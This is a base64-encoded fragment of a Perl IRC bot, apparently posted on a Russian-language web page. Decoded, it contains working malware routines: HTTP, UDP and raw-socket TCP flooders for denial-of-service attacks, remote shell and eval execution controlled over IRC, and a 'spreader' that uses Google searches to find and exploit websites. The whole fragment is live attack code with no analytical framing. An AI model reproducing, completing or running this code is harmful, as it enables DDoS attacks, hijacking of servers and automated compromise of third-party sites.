CgoKCgoJCQkkcGFnZSA9IGh0dHBfcXVlcnkoJHVybCk7CgkJCSRleHBsb2l0ZWQg
PSAkZXhwbG9pdGVkICsgMTsKCQkgICAgfQoJCX0KCSAgICAgc2VuZHJhdygkSVJD
X2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbR09PR0xFXVwwMDIg
RXhwbG9pdGVkICIuJGV4cGxvaXRlZC4iIGJveGVzIGluICIuJDEuIiBzZWNvbmRz
LiIpOwogICAgICAgICAgIH0KICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL15o
dHRwZmxvb2RccysoLiopXHMrKFxkKykvKSB7CgkgICAgIHNlbmRyYXcoJElSQ19j
dXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW0hUVFBdXDAwMiBBdHRh
Y2tpbmcgIi4kMS4iOjgwIGZvciAiLiQyLiIgc2Vjb25kcy4iKTsKCSAgICAgbXkg
JGl0aW1lID0gdGltZTsKCSAgICAgbXkgKCRjdXJfdGltZSk7CiAgICAgICAgICAg
ICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwoJICAgICB3aGlsZSAoJDI+JGN1
cl90aW1lKXsKICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7
CgkgICAgIG15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcocHJvdG89
Pid0Y3AnLCBQZWVyQWRkcj0+JDEsIFBlZXJQb3J0PT44MCk7CiAgICAgICAgICAg
ICBwcmludCAkc29ja2V0ICJHRVQgLyBIVFRQLzEuMVxyXG5BY2NlcHQ6ICovKlxy
XG5Ib3N0OiAiLiQxLiJcclxuQ29ubmVjdGlvbjogS2VlcC1BbGl2ZVxyXG5cclxu
IjsKCSAgICAgY2xvc2UoJHNvY2tldCk7CiAgICAgICAgICAgICB9CgkgICAgIHNl
bmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW0hU
VFBdXDAwMiBBdHRhY2tpbmcgZG9uZSAiLiQxLiIuIik7CiAgICAgICAgICAgfQog
ICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXnVkcGZsb29kXHMrKC4qKVxzKyhc
ZCspXHMrKFxkKykvKSB7CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3Nv
Y2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltVRFBdXDAwMiBBdHRhY2tpbmcg
Ii4kMS4iIHdpdGggIi4kMi4iIEtiIHBhY2tldHMgZm9yICIuJDMuIiBzZWNvbmRz
LiIpOwogICAgICAgICAgICAgbXkgKCRkdGltZSwgJXBhY290ZXMpID0gdWRwZmxv
b2RlcigiJDEiLCAiJDIiLCAiJDMiKTsKICAgICAgICAgICAgICRkdGltZSA9IDEg
aWYgJGR0aW1lID09IDA7CiAgICAgICAgICAgICBteSAlYnl0ZXM7CiAgICAgICAg
ICAgICAkYnl0ZXN7aWdtcH0gPSAkMiAqICRwYWNvdGVze2lnbXB9OwogICAgICAg
ICAgICAgJGJ5dGVze2ljbXB9ID0gJDIgKiAkcGFjb3Rlc3tpY21wfTsKICAgICAg
ICAgICAgICRieXRlc3tvfSA9ICQyICogJHBhY290ZXN7b307CiAgICAgICAgICAg
ICAkYnl0ZXN7dWRwfSA9ICQyICogJHBhY290ZXN7dWRwfTsKICAgICAgICAgICAg
ICRieXRlc3t0Y3B9ID0gJDIgKiAkcGFjb3Rlc3t0Y3B9OwogICAgICAgICAgICAg
c2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJb
VURQXVwwMDIgU2VudCAiLmludCgoJGJ5dGVze2ljbXB9KyRieXRlc3tpZ21wfSsk
Ynl0ZXN7dWRwfSArICRieXRlc3tvfSkvMTAyNCkuIiBLYiBpbiAiLiRkdGltZS4i
IHNlY29uZHMgdG8gIi4kMS4iLiIpOwogICAgICAgICAgIH0KICAgICAgICAgICBl
eGl0OwogICAgICAgfQogIH0KfQogCnN1YiBpcmNhc2UgewogIG15ICgka2VtLCAk
cHJpbnRsLCAkY2FzZSkgPSBAXzsKCiAgaWYgKCRjYXNlID1+IC9eam9pbiAoLiop
LykgewogICAgIGooIiQxIik7CiAgIH0gCgppZiAoJGNhc2UgPX4gL15yZWZyZXNo
ICguKikvKSB7Cm15ICRnb25pID0gJHRpdGlbcmFuZCBzY2FsYXIgQHRpdGldOwog
fQoKICAgaWYgKCRjYXNlID1+IC9ecGFydCAoLiopLykgewogICAgICBwKCIkMSIp
OwogICB9CiAgIGlmICgkY2FzZSA9fiAvXnJlam9pblxzKyguKikvKSB7CiAgICAg
IG15ICRjaGFuID0gJDE7CiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikv
KSB7CiAgICAgICAgZm9yIChteSAkY2EgPSAxOyAkY2EgPD0gJDE7ICRjYSsrICkg
ewogICAgICAgICAgcCgiJDIiKTsKICAgICAgICAgIGooIiQyIik7CiAgICAgICAg
fQogICAgICB9IGVsc2UgewogICAgICAgICAgcCgiJGNoYW4iKTsKICAgICAgICAg
IGooIiRjaGFuIik7CiAgICAgIH0KICAgfQogICBpZiAoJGNhc2UgPX4gL15vcC8p
IHsKICAgICAgb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJvcCI7
CiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsKICAgICAgb3AoIiQx
IiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAg
aWYgKCRjYXNlID1+IC9eZGVvcC8pIHsKICAgICAgZGVvcCgiJHByaW50bCIsICIk
a2VtIikgaWYgJGNhc2UgZXEgImRlb3AiOwogICAgICBteSAkb2FyZyA9IHN1YnN0
cigkY2FzZSwgNSk7CiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+
IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAgaWYgKCRjYXNlID1+IC9ebXNnXHMr
KFxTKykgKC4qKS8pIHsKICAgICAgbXNnKCIkMSIsICIkMiIpOwogICB9CiAgIGlm
ICgkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgewogICAg
ICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsKICAgICAgICBt
c2coIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBpZiAoJGNhc2UgPX4gL15j
dGNwXHMrKFxTKykgKC4qKS8pIHsKICAgICAgY3RjcCgiJDEiLCAiJDIiKTsKICAg
fQogICBpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICgu
KikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykg
ewogICAgICAgIGN0Y3AoIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBpZiAo
JGNhc2UgPX4gL15uaWNrICguKikvKSB7CiAgICAgIG5pY2soIiQxIik7CiAgIH0K
ICAgaWYgKCRjYXNlID1+IC9eY29ubmVjdFxzKyhcUyspXHMrKFxTKykvKSB7CiAg
ICAgICBjb25lY3RhcigiJDIiLCAiJDEiLCA2NjY3KTsKICAgfQogICBpZiAoJGNh
c2UgPX4gL15yYXcgKC4qKS8pIHsKICAgICAgc2VuZHJhdygiJDEiKTsKICAgfQog
ICBpZiAoJGNhc2UgPX4gL15ldmFsICguKikvKSB7CiAgICAgZXZhbCAiJDEiOwog
ICB9Cn0KCnN1YiBzaGVsbCB7CiAgbXkgJHByaW50bD0kX1swXTsKICBteSAkY29t
YW5kbz0kX1sxXTsKICBpZiAoJGNvbWFuZG8gPX4gL2NkICguKikvKSB7CiAgICBj
aGRpcigiJDEiKSB8fCBtc2coIiRwcmludGwiLCAiTm8gc3VjaCBmaWxlIG9yIGRp
cmVjdG9yeSIpOwogICAgcmV0dXJuOwogIH0gCiAgZWxzaWYgKCRwaWQgPSBmb3Jr
KSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2UgewogICAgICBpZiAo
Zm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsKICAgICAgICAg
ICBteSBAcmVzcD1gJGNvbWFuZG8gMj4mMSAzPiYxYDsKICAgICAgICAgICBteSAk
Yz0wOwogICAgICAgICAgIGZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgewogICAg
ICAgICAgICAgJGMrKzsKICAgICAgICAgICAgIGNob3AgJGxpbmhhOwogICAgICAg
ICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwg
OiRsaW5oYSIpOwogICAgICAgICAgICAgaWYgKCRjID09ICIkbGluYXNfbWF4Iikg
ewogICAgICAgICAgICAgICAkYz0wOwogICAgICAgICAgICAgICBzbGVlcCAkc2xl
ZXA7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7
CiAgICAgICB9CiAgfQp9CgpzdWIgdGNwZmxvb2RlciB7CiBteSAkaXRpbWUgPSB0
aW1lOwogbXkgKCRjdXJfdGltZSk7CiBteSAoJGlhLCRwYSwkcHJvdG8sJGosJGws
JHQpOwogJGlhPWluZXRfYXRvbigkX1swXSk7CiAkcGE9c29ja2FkZHJfaW4oJF9b
MV0sJGlhKTsKICRmdGltZT0kX1syXTsKICRwcm90bz1nZXRwcm90b2J5bmFtZSgn
dGNwJyk7CiAkaj0wOyRsPTA7CiAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwog
d2hpbGUgKCRsPDEwMDApewogICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CiAg
bGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICR0PSJTT0NLJGwiOwogIHNv
Y2tldCgkdCxQRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90byk7CiAgY29ubmVjdCgk
dCwkcGEpfHwkai0tOwogICRqKys7JGwrKzsKIH0KICRsPTA7CiB3aGlsZSAoJGw8
MTAwMCl7CiAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICBsYXN0IGlmICRj
dXJfdGltZSA+PSAkZnRpbWU7CiAgJHQ9IlNPQ0skbCI7CiAgc2h1dGRvd24oJHQs
Mik7CiAgJGwrKzsKIH0KfQoKc3ViIHVkcGZsb29kZXIgewogIG15ICRpYWRkciA9
IGluZXRfYXRvbigkX1swXSk7CiAgbXkgJG1zZyA9ICdBJyB4ICRfWzFdOwogIG15
ICRmdGltZSA9ICRfWzJdOwogIG15ICRjcCA9IDA7CiAgbXkgKCVwYWNvdGVzKTsK
ICAkcGFjb3Rlc3tpY21wfSA9ICRwYWNvdGVze2lnbXB9ID0gJHBhY290ZXN7dWRw
fSA9ICRwYWNvdGVze299ID0gJHBhY290ZXN7dGNwfSA9IDA7CiAgCiAgc29ja2V0
KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgJGNwKys7CiAgc29ja2V0
KFNPQ0syLCBQRl9JTkVULCBTT0NLX0RHUkFNLCAxNykgb3IgJGNwKys7CiAgc29j
a2V0KFNPQ0szLCBQRl9JTkVULCBTT0NLX1JBVywgMSkgb3IgJGNwKys7CiAgc29j
a2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgJGNwKys7CiAgcmV0
dXJuKHVuZGVmKSBpZiAkY3AgPT0gNDsKICBteSAkaXRpbWUgPSB0aW1lOwogIG15
ICgkY3VyX3RpbWUpOwogIHdoaWxlICggMSApIHsKICAgICBmb3IgKG15ICRwb3J0
YSA9IDE7ICRwb3J0YSA8PSA2NTAwMDsgJHBvcnRhKyspIHsKICAgICAgICRjdXJf
dGltZSA9IHRpbWUgLSAkaXRpbWU7CiAgICAgICBsYXN0IGlmICRjdXJfdGltZSA+
PSAkZnRpbWU7CiAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9p
bigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpZ21wfSsrOwogICAgICAg
c2VuZChTT0NLMiwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIp
KSBhbmQgJHBhY290ZXN7dWRwfSsrOwogICAgICAgc2VuZChTT0NLMywgJG1zZywg
MCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWNt
cH0rKzsKICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRw
b3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3RjcH0rKzsKCiAgICAgICBmb3Ig
KG15ICRwYyA9IDM7ICRwYyA8PSAyNTU7JHBjKyspIHsKICAgICAgICAgbmV4dCBp
ZiAkcGMgPT0gNjsKICAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsK
ICAgICAgICAgbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICAgICAgICBz
b2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCAkcGMpIG9yIG5leHQ7CiAg
ICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwg
JGlhZGRyKSkgYW5kICRwYWNvdGVze299Kys7CiAgICAgICB9CiAgICAgfQogICAg
IGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICB9CiAgcmV0dXJuKCRjdXJf
dGltZSwgJXBhY290ZXMpOwp9CgpzdWIgY3RjcCB7CiAgIHJldHVybiB1bmxlc3Mg
JCNfID09IDE7CiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOlwwMDEkX1sxXVww
MDEiKTsKfQpzdWIgbXNnIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAg
c2VuZHJhdygiUFJJVk1TRyAkX1swXSA6JF9bMV0iKTsKfSAgCnN1YiBub3RpY2Ug
ewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJOT1RJQ0Ug
JF9bMF0gOiRfWzFdIik7Cn0Kc3ViIG9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18g
PT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSArbyAkX1sxXSIpOwp9CnN1YiBk
ZW9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9E
RSAkX1swXSAtbyAkX1sxXSIpOwp9CnN1YiBqIHsgJmpvaW4oQF8pOyB9CnN1YiBq
b2luIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsKICAgc2VuZHJhdygiSk9J
TiAkX1swXSIpOwp9CnN1YiBwIHsgcGFydChAXyk7IH0Kc3ViIHBhcnQgewogIHNl
bmRyYXcoIlBBUlQgJF9bMF0iKTsKfQpzdWIgbmljayB7CiAgcmV0dXJuIHVubGVz
cyAkI18gPT0gMDsKICBzZW5kcmF3KCJOSUNLICRfWzBdIik7Cn0Kc3ViIHF1aXQg
ewogIHNlbmRyYXcoIlFVSVQgOiRfWzBdIik7Cn0KCiMgU3ByZWFkZXIKIyB0aGlz
ICdzcHJlYWRlcicgY29kZSBpc25vdCBtaW5lLCBpIGRvbnQga25vdyB3aG8gY29k
ZWQgaXQuCiMgdXBkYXRlOiB3ZWxsLCBpIGp1c3QgZml4MHJlZCB0aGlzIHNoaXQg
YSBiaXQuCiMKCnN1YiBmZXRjaCgpewogICAgbXkgJHJuZD0oaW50KHJhbmQoOTk5
OSkpKTsKICAgIG15ICRuPSA4MDsKICAgIGlmICgkcm5kPDUwMDApIHsgJG48PD0x
O30KICAgIG15ICRzPSAoaW50KHJhbmQoNSkpICogJG4pOwoKbXkgQGRvbWluaW9z
ID0gKCJjb20iLCJuZXQiLCJvcmciLCJpbmZvIiwiZ292IiwgImdvYiIsImd1YiIs
Inh4eCIsICJldSIsIm1pbCIsImVkdSIsImFlcm8iLCJuYW1lIiwidXMiLCJjYSIs
Im14IiwicGEiLCJuaSIsImN1IiwicHIiLCJ2ZSIsImNvIiwicGUiLCJlYyIsCgkJ
InB5IiwiY2wiLCJ1eSIsImFyIiwiYnIiLCJibyIsImF1IiwibnoiLCJjeiIsImty
IiwianAiLCJ0aCIsInR3IiwicGgiLCJjbiIsImZpIiwiZGUiLCJlcyIsInB0Iiwi
Y2giLCJzZSIsInN1IiwiaXQiLCJnciIsImFsIiwiZGsiLCJwbCIsImJpeiIsImlu
dCIsInBybyIsIm11c2V1bSIsImNvb3AiLAoJCSJhZiIsImFkIiwiYW8iLCJhaSIs
ImFxIiwiYWciLCJhbiIsInNhIiwiZHoiLCJhciIsImFtIiwiYXciLCJhdCIsImF6
IiwiYnMiLCJiaCIsImJkIiwiYmIiLCJiZSIsImJ6IiwiYmoiLCJibSIsImJ0Iiwi
YnkiLCJiYSIsImJ3IiwiYm4iLCJiZyIsImJmIiwiYmkiLAoJCSJ2YyIsImtoIiwi
Y20iLCJ0ZCIsImNzIiwiY3kiLCJrbSIsImNnIiwiY2QiLCJkaiIsImRtIiwiY2ki
LCJjciIsImhyIiwia3AiLCJlZyIsInN2IiwiYXciLCJlciIsInNrIiwKCQkiZWUi
LCJldCIsImdlIiwiZmkiLCJmciIsImdhIiwiZ3MiLCJnaCIsImdpIiwiZ2IiLCJ1
ayIsImdkIiwiZ2wiLCJncCIsImd1IiwiZ3QiLCJnZyIsImduIiwiZ3ciLCJncSIs
Imd5IiwiZ2YiLCJodCIsIm5sIiwiaG4iLCJoayIsImh1IiwiaW4iLCJpZCIsImly
IiwKCQkiaXEiLCJpZSIsImlzIiwiYWMiLCJidiIsImN4IiwiaW0iLCJuZiIsImt5
IiwiY2MiLCJjayIsImZvIiwiaG0iLCJmayIsIm1wIiwibWgiLCJwdyIsInVtIiwi
c2IiLCJzaiIsInRjIiwidmciLCJ2aSIsIndmIiwiaWwiLCJqbSIsImplIiwiam8i
LCJreiIsImtlIiwKCQkia2kiLCJrZyIsImt3IiwibHYiLCJscyIsImxiIiwibHki
LCJsciIsImxpIiwibHQiLCJsdSIsIm1vIiwibWsiLCJtZyIsIm15IiwibXciLCJt
diIsIm1sIiwibXQiLCJtcSIsIm1hIiwibXIiLCJtdSIsInl0IiwibWQiLCJtYyIs
Im1uIiwibXMiLCJteiIsIm1tIiwKCQkibmEiLCJuciIsIm5wIiwibmkiLCJuZSIs
Im5nIiwibnUiLCJubyIsIm5jIiwib20iLCJwayIsInBzIiwicGciLCJwbiIsInBm
IiwicWEiLCJzeSIsImNmIiwibGEiLCJyZSIsInJ3Iiwicm8iLCJydSIsImVoIiwi
a24iLCJ3cyIsImFzIiwic20iLCJwbSIsInZjIiwJCQoJCSJzaCIsImxjIiwidmEi
LCJzdCIsInNuIiwic2MiLCJzbCIsInNnIiwic28iLCJsayIsInphIiwic2QiLCJz
ZSIsInNyIiwic3oiLCJyaiIsInR6IiwiaW8iLCJ0ZiIsInRwIiwidGciLCJ0byIs
InR0IiwidG4iLCJ0ciIsInRtIiwidHYiLCJ1ZyIsInVhIiwidXoiLAoJCSJ2dSIs
InZuIiwieWUiLCJ5dSIsImNkIiwiem0iLCJ6dyIsIiIpOwpteSBAc3RyOwoKZm9y
ZWFjaCAkZG9tICAoQGRvbWluaW9zKQp7CglwdXNoIChAc3RyLCJhbGxpbnVybDol
MjIiLiRkb20uIi8iLiRnb25pLiIlMjIiKTsKfQoKICAgIG15ICRxdWVyeT0id3d3
Lmdvb2dsZS5jb20vc2VhcmNoP3E9IjsKICAgICRxdWVyeS49JHN0clsocmFuZChz
Y2FsYXIoQHN0cikpKV07CiAgICAkcXVlcnkuPSImbnVtPSRuJnN0YXJ0PSRzIjsK
CgogICAgbXkgQGxzdD0oKTsKICAgIG15ICRwYWdlID0gaHR0cF9xdWVyeSgkcXVl
cnkpOwogICAgd2hpbGUgKCRwYWdlID1+ICBtLzxhIGNsYXNzPWwgaHJlZj1cIj9o
dHRwOlwvXC8oW14+XCJdKylcIj8+L2cpewoJaWYgKCQxICF+IG0vZ29vZ2xlfGNh
Y2hlfHRyYW5zbGF0ZS8pewoJICAgIHB1c2ggKEBsc3QsJDEpOwoJfQogICAgfQog
ICAgcmV0dXJuIChAbHN0KTsKfQoKCnN1YiBodHRwX3F1ZXJ5KCQpewogICAgbXkg
KCR1cmwpID0gQF87CiAgICBteSAkaG9zdD0kdXJsOwogICAgbXkgJHF1ZXJ5PSR1
cmw7CgogICAgbXkgJHBhZ2U9IiI7CiAgICAkaG9zdCA9fiBzL2hyZWY9XCI/aHR0
cDpcL1wvLy87CiAgICAkaG9zdCA9fiBzLyhbLWEtekEtWjAtOVwuXSspXC8uKi8k
MS87CiAgICAkcXVlcnkgPX5zLyRob3N0Ly87CiAgICBpZiAoJHF1ZXJ5IGVxICIi
KSB7JHF1ZXJ5PSIvIjt9OwogICAgZXZhbCB7Cglsb2NhbCAkU0lHe0FMUk19ID0g
c3ViIHsgZGllICIxIjt9OwoJYWxhcm0gMTA7CglteSAkc29jayA9IElPOjpTb2Nr
ZXQ6OklORVQtPm5ldyhQZWVyQWRkcj0+IiRob3N0IixQZWVyUG9ydD0+IjgwIixQ
cm90bz0+InRjcCIpIG9yIHJldHVybjsKCXByaW50ICRzb2NrICJHRVQgJHF1ZXJ5
IEhUVFAvMS4wXHJcbkhvc3Q6ICRob3N0XHJcbkFjY2VwdDogKi8qXHJcblVzZXIt
QWdlbnQ6IE1vemlsbGEvNS4wXHJcblxyXG4iOwoJbXkgQHIgPSA8JHNvY2s+OwoJ
JHBhZ2U9IkByIjsKCWFsYXJtIDA7CgljbG9zZSgkc29jayk7CiAgICB9OyAgICAK
ICAgIHJldHVybiAkcGFnZTsKCn0K

Добавить комментарий

Ваш e-mail не будет опубликован.